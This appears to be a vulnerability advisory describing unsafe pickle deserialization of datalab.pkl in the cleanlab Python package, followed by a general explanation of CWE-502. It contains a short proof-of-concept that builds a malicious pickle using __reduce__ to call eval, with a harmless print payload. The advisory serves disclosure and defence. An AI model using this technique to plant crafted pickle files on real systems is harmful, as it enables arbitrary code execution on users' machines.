Deserialization of Untrusted Data Affecting cleanlab package, versions [2.4.0,]

cleanlab is a The standard package for data-centric AI, machine learning with label errors, and automatically finding and fixing dataset issues in Python.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the deserialization process in the datalab.pkl file. An attacker can execute arbitrary code on the user's system by crafting a malicious datalab.pkl file and loading it into the application.

import pickle

class Exploit:
    def __reduce__(self):
        return (eval, ("print('pwned')",))
    
open("./exploit/datalab.pkl", "wb").write(pickle.dumps(Exploit()))

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

• Vulnerability Report
• Vulnerable Code